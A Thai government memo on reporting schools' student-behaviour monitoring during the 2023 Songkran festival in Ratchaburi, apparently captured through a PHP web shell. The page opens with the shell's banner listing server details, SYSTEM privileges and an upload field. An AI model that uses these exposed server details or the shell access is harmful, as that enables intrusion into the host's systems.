| Server IP : 104.21.80.248 / Your IP : 162.159.115.42 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : E:/Inetpub/www/myoffice/2566/data/tkk1text/ |
Upload File : |
<p> <br /> <strong>เรื่องเดิม</strong><br /> ตามที่สำนักงานศึกษาธิการจังหวัดราชบุรี ได้ขอความร่วมมือสำนักงานเขตพื้นที่การศึกษามัธยมศึกษาราชบุรี อนุญาตให้พนักงานเจ้าหน้าที่ส่งเสริมความประพฤตินักเรียนและนักศึกษา และบุคลากรที่เกี่ยวข้องออกปฏิบัติหน้าที่เฝ้าระวังในช่วงเทศกาลวันสงกรานต์ ประจำปี พ.ศ. ๒๕๖๖ โดยสำนักงานเขตพื้นที่การศึกษามัธยมศึกษาราชบุรี ได้ขอความร่วมมือสถานศึกษาในสังกัดปฎิบัติหน้าที่เฝ้าระวังช่วงเทศกาลวันสงกรานต์ พ.ศ. ๒๕๖๖ โดยร่วมบูรณาการความร่วมมือกับหน่วยงานที่เกี่ยวข้อง เฝ้าระวังเหตุและสร้างความปลอดภัยในช่วงเทศกาลสงกรานต์ ระหว่างวันที่ ๑๓ - ๑๗ เมษายน ๒๕๖๖ และหลังเสร็จสิ้นการปฏิบัติงานดังกล่าว ขอให้ส่งแบบรายงานผลการปฏิบัติงานเฝ้าระวังความประพฤตินักเรียนและนักศึกษา เพื่อรายงานผลต่อสำนักงานศึกษาธิการจังหวัดราชบุรี เพื่อบันทึกในระบบสารสนเทศของพนักงานเจ้าหน้าที่ส่งเสริมความประพฤตินักเรียนและนักศึกษา และรายงานสำนักงานปลัดกระทรวงศึกษาธิการต่อไป นั้น</p> <p> <strong>ข้อเท็จจริง</strong><br /> ในการนี้ สถานศึกษาในสังกัดสำนักงานเขตพื้นที่การศึกษามัธยมศึกษาราชบุรี ได้ปฏิบัติหน้าที่เฝ้าระวังช่วงเทศกาลวันสงกรานต์ พ.ศ. ๒๕๖๖ และรายงานผลการปฎิบัติงานถึงสำนักงานเขตพื้นที่การศึกษามัธยมศึกษาราชบุรี รายละเอียดตามเอกสารแนบ</p> <p> <strong>ข้อกฎหมายและเอกสารที่เกี่ยวข้อง</strong><br /> หนังสือสำนักงานเขตพื้นที่การศึกษามัธยมศึกษาราชบุรี ด่วนที่สุด ที่ ศธ ๐๔๓๓๒/๑๒๗๙ ลงวันที่ ๑๑ เมษายน ๒๕๖๖</p> <p> <strong>ข้อเสนอ</strong><br /> กลุ่มส่งเสริมการจัดการศึกษาพิจารณาแล้ว เห็นสมควรรายงานผลการปฎิบัติงานเฝ้าระวังความประพฤตินักเรียนและนักศึกษา ถึงสำนักงานศึกษาธิการจังหวัด เพื่อดำเนินการในส่วนที่เกี่ยวข้องต่อไป</p> <p> จึงเรียนมาเพื่อโปรดพิจารณา หากเห็นชอบโปรดลงนามในหนังสือถึงศึกษาธิการจังหวัดราชบุรี</p>